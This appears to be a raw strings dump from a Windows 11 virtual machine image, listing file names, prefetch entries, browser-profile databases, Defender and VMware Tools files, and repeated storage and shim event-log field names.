Edge Profile.ico MS844B~1.PF0 MSEDGEWEBVIEW2.EXE-4FD41A4B.pf SEARCH~4.PF0 SEARCHHOST.EXE-6EA0F7AF.pf SV46E9~1.PF0 SVCHOST.EXE-F6EF00D7.pf MemoryDiagnostic.dll WofCompressedData $DSC EXTENS~4 ExtensionActivityEdge EX1516~1 ExtensionActivityEdge-journal MSEDGE~3.PF0 MSEDGEWEBVIEW2.EXE-4FD41A40.pf CTFMON~1.PF0 CTFMON.EXE-795F8130.pf EDGEHU~1 EdgeHubAppUsage $I300 EdgeHubAppUsageSQLite.db EdgeHubAppUsageSQLite.db-journal EDGEHU~1.DB EDGEHU~1.DB- MESSAG~1.JSO messages.json SLUIEX~1.PF0 SLUI.EXE-3E441AEE.pf MS0888~1.PF0 MSEDGE.EXE-37D25F9C.pf MICROS~1.MUI Microsoft.ui.xaml.dll.mui WofCompressedData $I300 messages.json MESSAG~1.JSO MICROS~2.MUI Microsoft.UI.Xaml.Phone.dll.mui WofCompressedData MID859~1.EVT Microsoft-Windows-Security-SPP-UX-Notifications%4ActionCenter.evtx snapshot.baf snapshot-new.baf $I300 messages.json MESSAG~1.JSO TOPSIT~1 Top Sites SCTAUD~1.TMP SCT Auditing Pending Reports~RFb287.TMP circlass.PNF devmap.PNF DISPLA~1.PNF displaymux.PNF 312367~3.XML 31236740_23095876.back.xml ON1C81~1.DLL OneDriveTelemetryStable.dll WofCompressedData $I300 messages.json MESSAG~1.JSO EDGEJO~1 EdgeJourneys $I300 EdgeJourneys.db EdgeJourneys.db-wal EDGEJO~1.DB EDGEJO~1.DB-.DB EDGEHU~1.DB0 EdgeHubAppUsageSQLite.db EDGEJO~1.DB0 EdgeJourneys.db TOPSIT~2 Top Sites-journal SYNC_D~1.LOG sync_diagnostic.log EXTENS~4 ExtensionActivityEdge $I300 messages.json MESSAG~1.JSO EX1516~1 ExtensionActivityEdge-journal LOGOLD~1.TMP LOG.old~RF1dfdb.TMP LOCK EDGEJO~1.DB- EdgeJourneys.db-wal DASHER~1.JSO dasherSettingSchema.json HEAVY_~1.DB0 heavy_ad_intervention_opt_out.db SERVIC~1.JS0 service_worker_bin_prod.js VERIFI~1.JSO verified_contents.json HEAVY_~1.DB- heavy_ad_intervention_opt_out.db-journal EX3B06~1 ExtensionActivityComp FAVORI~1.LOG favorites_diagnostic.log NETWOR~1 Network Action Predictor NETWOR~2 Network Action Predictor-journal DIPS DIPS-wal OPTIMI~1 optimization_guide_hint_cache_store $I300 LOCK LOG.old LOGOLD~1.TMP LOGOLD~1.TMP LOGOLD~1.TMP LOG.old~RFfe84.TMP LOCK AUTOFI~1 AutofillAiModelCache $I300 LOCK LOG.old LOGOLD~1.TMP LOGOLD~1.TMP LOGOLD~1.TMP LOG.old~RFfe84.TMP LOCK BROWSI~1 BrowsingTopicsSiteData AUTOFI~2 AutofillStrikeDatabase $I300 LOCK LOG.old LOGOLD~1.TMP LOGOLD~1.TMP BROWSI~2 BrowsingTopicsSiteData-journal LOGOLD~1.TMP LOG.old~RFfe93.TMP LOCK BUDGET~1 BudgetDatabase $I300 LOCK LOG.old LOGOLD~1.TMP LOGOLD~1.TMP LOGOLD~1.TMP LOG.old~RFfe93.TMP LOCK FEATUR~1 Feature Engagement Tracker $I300 AvailabilityDB AVAILA~1 EventDB AVAILA~1 AvailabilityDB $I300 LOCK LOG.old LOGOLD~1.TMP LOGOLD~1.TMP LOGOLD~1.TMP LOG.old~RFfe93.TMP LOCK EventDB $I300 LOCK LOG.old LOGOLD~1.TMP LOGOLD~1.TMP LOGOLD~1.TMP LOG.old~RFfea3.TMP LOCK MSB3D1~1.PF0 MSEDGEWEBVIEW2.EXE-4FD41A3F.pf ONEAUT~1.JSO OneAuth.strings.json CONTEX~1 contextualMenu $I300 contextualMenuUtility.js index.js GameMRU $I300 LocalMruGameList.json LOCALM~1.JSO perfh009.dat 95FD9D~1 95fd9d48e4fc245a3f3a99a3a16ecd1355050ba3f4afc555f19a97c7f9b49677 UPDATE~1.ETL UpdateUx.72a5723b-0649-4b9e-8677-ad4f3a212a5a.1.etl METADA~1.JSO metadata.json FODHEL~1.PF0 FODHELPER.EXE-7F1ED892.pf LOCALM~1.JSO LocalMruGameList.json Taskbar.View.dll WofCompressedData $DSC MI1CF7~1.EVT Microsoft-Windows-CloudRestoreLauncher%4Operational.evtx desktop.ini VCREDI~1.PF0 VCREDIST_X86.EXE-FB2324C0.pf VW1VO8WL $I300 $I30 $I30 a327d[1].xml windows-app-web-link[1] windows-app-web-link[1].json WINDOW~1.JS WINDOW~1.JSO VEP9X39G $I300 $I30 $I30 windows-app-web-link[2] windows-app-web-link[3] WINDOW~1 WINDOW~2 57C8ED~1 57C8EDB95DF3F0AD4EE2DC2B8CFD4157 http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab "77413ba5861edc1:0" 57C8ED~1 57C8EDB95DF3F0AD4EE2DC2B8CFD4157 FB0D84~1 FB0D848F74F70BB2EAA93746D24D9749 http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab "80424021c7dbd21:0" SECURI~2.PF0 SECURITYHEALTHSERVICE.EXE-91B5FB98.pf S-1-5-~1.PCK S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep MICROS~2.WIN Microsoft.WindowsStore_8wekyb3d8bbwe $I300 $I30 $I30 LOCALS~1 RoamingState ROAMIN~1 LOCALS~1 LocalState $I300 store.db ROAMIN~1 RoamingState $I300 TEMPST~1 TempState $I300 LOCALC~1 LocalCache $I300 Local Roaming Settings $I300 $I30 $I30 ROAMIN~1.LOC settings.dat settings.dat.LOG1 SETTIN~1.LOG $I300 $I30 $I30 INETCA~1 INetCookies INetHistory INETHI~1 Temp settings.dat AppData $I300 roaming.lock ROAMIN~1.LOC Temp $I300 Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational EventData Data DriverName ShimSource ShimCount AppliedGuids storahci.sys {434abafd-08fa-4c3d-a88d-d09a88e2ab17} Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational DeviceName DeviceClass FlagSource Flags USBXHCI:ALL USBXHCI Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational storahci.sys {434abafd-08fa-4c3d-a88d-d09a88e2ab17} Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational storahci.sys {434abafd-08fa-4c3d-a88d-d09a88e2ab17} Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational storahci.sys {434abafd-08fa-4c3d-a88d-d09a88e2ab17} Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational storahci.sys {434abafd-08fa-4c3d-a88d-d09a88e2ab17} Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational storahci.sys {434abafd-08fa-4c3d-a88d-d09a88e2ab17} Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational storahci.sys {434abafd-08fa-4c3d-a88d-d09a88e2ab17} Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational storahci.sys {434abafd-08fa-4c3d-a88d-d09a88e2ab17} Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI Microsoft-Windows-Kernel-ShimEngine Microsoft-Windows-Kernel-ShimEngine/Operational USBXHCI:ALL USBXHCI af-ZAgS am-ETgS ar-SAgS as-INgS az-Latn-AZr AZ-LAT~1cur bg-BGgS bn-INgS bs-Latn-BAr BS-LAT~1cur ca-ESgS ca-ES-valenciaP CA-ES-~1cur Catalogsoso com.microsoft.defender.be.chrome.json com.microsoft.defender.be.firefox.json COMMIC~1.JSOtyP COMMIC~2.JSOtyP ConfigSecurityPolicy.exe CONFIG~1.EXE cs-CZde cy-GBde da-DKde de-DEde en-GBin en-USin endpointdlp.dll ENDPOI~1.DLLtim es-ESag es-MXag et-EEag eu-ESag fa-IRag MdeDiag.dll MI040F~1.MANtim MI155B~1.MANtim Microsoft-Antimalware-AMFilter.man MpDefenderCoreService.exe MPDEFE~1.EXEl MpDetours.dll MpDetoursCopyAccelerator.dll MPDETO~1.DLL MPDETO~2.DLL MpDlp.dll MpDlpCmd.exe.ex MpDlpService.exeT MPDLPS~1.EXE MpEvMsg.dll mpextms.exe MpOAV.dll MpRtp.dll MpSenseComm.dll MPSENS~1.DLL MpSvc.dll MpUpdate.dll MpUxAgent.dll ms-MYng MsMpEng.exe MsMpLics.dll mt-MTv. nb-NOv. ne-NPv. NisSrv.exe nl-NL.d nn-NO.d NpRep.dll or-INsh pa-INsh pl-PLsh PowershellN POWERS~1tyN pt-BRPa ThirdPartyNotices.txt THIRDP~1.TXT DefenderCSP.dll gd-GBag Microsoft-Antimalware-NIS.man MPCOPY~1.EXEl MPUXAG~1.DLL ru-RUPa EVENTS~1.DB- EventStore.db-wal EVENTS~2.DB- EventStore.db-shm Tips $I300 E2C6CB~4 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D $DSC appxblockmap.xmlx appxmanifest.xmlx appxsignature.p7x Assets LiveCaptions LiveCaptions.dllJ LiveCaptionsBackendDll.dll LiveCaptionsDesktop.dll LiveCaptionsXamlApplication.dll LIVECA~1 microsoft.system.package.metadata MICROS~1.MET\ pris resources.pri AccountPictures ACCOUN~1reo CloudStoreo CLOUDS~1Sho Librariesho LIBRAR~1Sho Network Shortcuts NETWOR~1Sho Printer Shortcuts PRINTE~1 RecentM SendToM Start Menu STARTM~1s Templates TEMPLA~1 Themes AccountPictures ACCOUN~1 Desktop desktop.ini Documents Downloads Libraries MusicR~ Pictures Videos 7za.exe componentMgrltu COMPON~1g.d deployPkg.dlltu DEPLOY~1.DLLetu gio-2.0-0.dlltu GIO-20~1.DLLetu glib-2.0-0.dllu GLIB-2~1.DLLetu glibmm-2.68-1.dllcm GLIBMM~1.DLLetu gmodule-2.0-0.dllcm GMODUL~1.DLLetu gobject-2.0-0.dllcm GOBJEC~1.DLLetu gthread-2.0-0.dllcm GTHREA~1.DLLetu guestStoreClient.dll GUESTS~1.DLLetu icudt44l.datetu install-rvmSetup.cmd INSTAL~1.CMD intl.dll.ex open_source_licenses.txt OPEN_S~1.TXT pcre2-8.dll poweroff-vm-default.bat POWERO~1.BAT rvmSetup.exe vm3dservice.exe VM3DSE~1.EXEh VMware VGAuth VMwareHgfsClient.exe VMWARE~1 VMWARE~1.EXE iconv.dllvm icudt44l.datetu install-rvmSetup.cmd INSTAL~1.CMD intl.dll.ex messagesrce open_source_licenses.txt OPEN_S~1.TXT pcre2-8.dll plugins poweroff-vm-default.bat poweron-vm-default.bat POWERO~1.BAT POWERO~2.BAT resume-vm-default.bat RESUME~1.BAT rpctool.exe rvmSetup.exe SIGC-3~1.DLLexe suspend-vm-default.bat SUSPEN~1.BATexe vm-support.vbse VM-SUP~1.VBSexe vm3dservice.exe VM3DSE~1.EXEh vmtools.dll vmtoolsd.exeh VMware VGAuth VMwareHgfsClient.exe VMwareHostOpen.exe VMWARE~1 VMWARE~1.EXE VMWARE~2.EXEL win32 win64 SIGC-3~1.DLLexe suspend-vm-default.bat SUSPEN~1.BATexe vm-support.vbse VM-SUP~1.VBSexe vm3dservice.exe VM3DSE~1.EXEh VM4B5F~1.EXE VM93B3~1.EXE vmtools.dll vmtoolsd.exeh VmUpgradeHelper.bat VMUPGR~1.BATh VMware VGAuth VMwareHgfsClient.exe VMwareHostOpen.exe VMwareNamespaceCmd.exe VMwareResolutionSet.exe VMwareToolboxCmd.exe VMwareXferlogs.exe VMWARE~1 VMWARE~1.EXE VMWARE~2.EXEL VMWARE~3.EXEL VMWARE~4.EXEL win32 win64 MOBSYN~1.PF0 MOBSYNC.EXE-B307E1CC.pf SYSTEM~1.PF0 SYSTEMSETTINGS.EXE-AD6D6913.pf 5B60FF~1.AUT 5b60ff9d777810f7.automaticDestinations-ms BACKGR~3.PF0 BACKGROUNDTASKHOST.EXE-B5843F11.pf BACKGR~4.PF0 BACKGROUNDTASKHOST.EXE-0F002CF7.pf BACFA6~1.PF0 BACKGROUNDTASKHOST.EXE-C0EA4D6C.pf SVBA5C~1.PF0 SVCHOST.EXE-366169FB.pf SYSTEM~2.GTH SystemIndex.2.gthr WA79DF~1.ETL waasmedic.20260221_110123_085.etl WindowsBackup.dll WofCompressedData $DSC RulesEngine.dll WofCompressedData $DSC RUNDLL~2.PF0 RUNDLL32.EXE-36D847E4.pf MSEDGE~2 msedgeedge_BITS_5604_168875570 $I300 BIT3E9F.tmp BIT3E9F.tmp DLADD1~1.PF0 DLLHOST.EXE-ECDCED3C.pf MSHIST~1 MSHist012026022120260222 $I300 container.dat CONTAI~1.DAT Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational EventData Data AdapterGuid PortNumber AdapterHardwareId MiniportName AdapterInterfaceType Flags AllowStorageD3 AcpiDsdProperty StorageD3RegistryState StorageD3Enable DirectedFxEnable TunneledDevice PCI\VEN_15AD&DEV_07E0&SUBSYS_07E015AD&REV_00 storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational MiniportName PortNumber AdapterGuid PathID TargetID VendorId ProductId SerialNumber AdapterSerialNumber storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational MiniportName PortNumber AdapterGuid NewUnitCount DeleteUnitCount storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00 stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational MiniportName MiniportEventId MiniportEventDescription PortNumber AdapterGuid PathID TargetID ClassDeviceGuid VendorId ProductId SerialNumber BootDevice Parameter1Name Parameter1Value Parameter2Name Parameter2Value Parameter3Name Parameter3Value Parameter4Name Parameter4Value Parameter5Name Parameter5Value Parameter6Name Parameter6Value Parameter7Name Parameter7Value Parameter8Name Parameter8Value stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PortNumber PathID TargetID ClassDeviceGuid AdapterGuid MiniportName VendorId ProductId SerialNumber BootDevice DataLength Data MiniportEventId MiniportEventDescription stornvme NVMe Controller Config Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PortNumber PathID TargetID ClassDeviceGuid AdapterGuid BusType MiniportName VendorId ProductId SerialNumber AdapterSerialNumber BootDevice Version RequestDuration_ms WaitDuration_ms Command SrbStatus ScsiStatus SenseKey AddSense AddSenseQ IoSize QueueDepth stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07E0&SUBSYS_07E015AD&REV_00 storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00 stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme NVMe Controller Config Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07E0&SUBSYS_07E015AD&REV_00 storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00 stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme NVMe Controller Config Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07E0&SUBSYS_07E015AD&REV_00 storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00 stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme NVMe Controller Config Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07E0&SUBSYS_07E015AD&REV_00 storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00 stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme NVMe Controller Config Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PortNumber PathID TargetID ClassDeviceGuid AdapterGuid BusType MiniportName IoTimeout_s VendorId ProductId SerialNumber AdapterSerialNumber FirmwareRevision BootDevice SystemUptime_s Version TotalIoCount TotalDeviceQueueIoCount MaxDeviceQueueCount MaxOutstandingCount $TotalDeviceQueueIoWaitDuration_100ns "MaxDeviceQueueIoWaitDuration_100ns %DeviceQueueIoWaitExceededTimeoutCount DeviceQueueIoBusyCount DeviceQueueIoPausedCount ,DeviceQueueIoUntaggedCommandOutstandingCount #DeviceQueueIoPausedForUntaggedCount MaxReadWriteLatency_100ns MaxFlushLatency_100ns MaxUnmapLatency_100ns IoLatencyBuckets BucketIoSuccess1 BucketIoSuccess2 BucketIoSuccess3 BucketIoSuccess4 BucketIoSuccess5 BucketIoSuccess6 BucketIoSuccess7 BucketIoSuccess8 BucketIoSuccess9 BucketIoSuccess10 BucketIoSuccess11 BucketIoSuccess12 BucketIoSuccess13 BucketIoSuccess14 BucketIoFailed1 BucketIoFailed2 BucketIoFailed3 BucketIoFailed4 BucketIoFailed5 BucketIoFailed6 BucketIoFailed7 BucketIoFailed8 BucketIoFailed9 BucketIoFailed10 BucketIoFailed11 BucketIoFailed12 BucketIoFailed13 BucketIoFailed14 BucketIoLatency1_100ns BucketIoLatency2_100ns BucketIoLatency3_100ns BucketIoLatency4_100ns BucketIoLatency5_100ns BucketIoLatency6_100ns BucketIoLatency7_100ns BucketIoLatency8_100ns BucketIoLatency9_100ns BucketIoLatency10_100ns BucketIoLatency11_100ns BucketIoLatency12_100ns BucketIoLatency13_100ns BucketIoLatency14_100ns TotalReadBytes TotalWriteBytes HighLatencyIoCount stornvme 0VMWare NVME_0000 128us, 256us, 512us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 512ms, 1000ms, 2000ms, 10000ms, 10000+ms Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PortNumber PathID TargetID ClassDeviceGuid AdapterGuid BusType MiniportName VendorId ProductId SerialNumber AdapterSerialNumber SystemUptime_s Version TotalErrors TotalReadWriteErrors !TotalImpendingDeviceFailureErrors TotalDeviceFailureErrors TimeoutsInMiniport HierarchicalResetSuccessCount LastError_RequestDuration_ms LastError_WaitDuration_ms LastError_Command LastError_SrbStatus LastError_ScsiStatus LastError_SenseKey LastError_AddSense LastError_AddSenseQ LastError_IoSize LastError_QueueDepth LastError_LBA SampledErrorLogArrayLength SampledErrorLogArray UniqueErrorLogArrayLength UniqueErrorLogArray stornvme 0VMWare NVME_0000 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci 128us, 256us, 512us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 512ms, 1000ms, 2000ms, 10000ms, 10000+ms Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07E0&SUBSYS_07E015AD&REV_00 storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational EventData Data MiniportName PortNumber AdapterGuid NewUnitCount DeleteUnitCount storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational AdapterGuid PortNumber AdapterHardwareId MiniportName AdapterInterfaceType Flags AllowStorageD3 AcpiDsdProperty StorageD3RegistryState StorageD3Enable DirectedFxEnable TunneledDevice PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00 stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational MiniportName MiniportEventId MiniportEventDescription PortNumber AdapterGuid PathID TargetID ClassDeviceGuid VendorId ProductId SerialNumber BootDevice Parameter1Name Parameter1Value Parameter2Name Parameter2Value Parameter3Name Parameter3Value Parameter4Name Parameter4Value Parameter5Name Parameter5Value Parameter6Name Parameter6Value Parameter7Name Parameter7Value Parameter8Name Parameter8Value stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PortNumber PathID TargetID ClassDeviceGuid AdapterGuid MiniportName VendorId ProductId SerialNumber BootDevice DataLength Data MiniportEventId MiniportEventDescription stornvme NVMe Controller Config Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational MiniportName PortNumber AdapterGuid PathID TargetID VendorId ProductId SerialNumber AdapterSerialNumber stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PortNumber PathID TargetID ClassDeviceGuid AdapterGuid BusType MiniportName VendorId ProductId SerialNumber AdapterSerialNumber BootDevice Version RequestDuration_ms WaitDuration_ms Command SrbStatus ScsiStatus SenseKey AddSense AddSenseQ IoSize QueueDepth stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational 